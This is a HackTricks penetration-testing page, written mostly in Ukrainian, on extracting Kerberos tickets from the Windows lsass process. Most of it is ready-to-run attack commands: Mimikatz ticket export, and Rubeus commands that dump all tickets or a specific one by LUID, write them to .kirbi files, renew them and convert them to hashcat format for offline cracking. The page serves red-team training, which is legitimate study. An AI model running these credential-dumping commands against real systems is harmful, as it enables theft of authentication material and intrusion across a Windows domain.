Harvesting tickets from Windows

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Квитки в Windows керуються та зберігаються процесом lsass (Служба підсистеми локальної безпеки), відповідальним за обробку політик безпеки. Щоб витягти ці квитки, необхідно взаємодіяти з процесом lsass. Користувач без прав адміністратора може отримати доступ лише до своїх власних квитків, тоді як адміністратор має привілей витягувати всі квитки в системі. Для таких операцій широко використовуються інструменти Mimikatz та Rubeus, кожен з яких пропонує різні команди та функціональність.

Mimikatz

Mimikatz - це універсальний інструмент, який може взаємодіяти з безпекою Windows. Його використовують не лише для витягування квитків, але й для різних інших операцій, пов'язаних із безпекою.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus - це інструмент, спеціально розроблений для взаємодії та маніпуляцій з Kerberos. Він використовується для витягування та обробки квитків, а також для інших дій, пов'язаних з Kerberos.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Коли ви використовуєте ці команди, переконайтеся, що замінили заповнювачі, такі як <BASE64_TICKET> та <luid>, на фактичний закодований у Base64 квиток та ідентифікатор входу відповідно. Ці інструменти надають розширену функціональність для управління квитками та взаємодії з механізмами безпеки Windows.

References

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/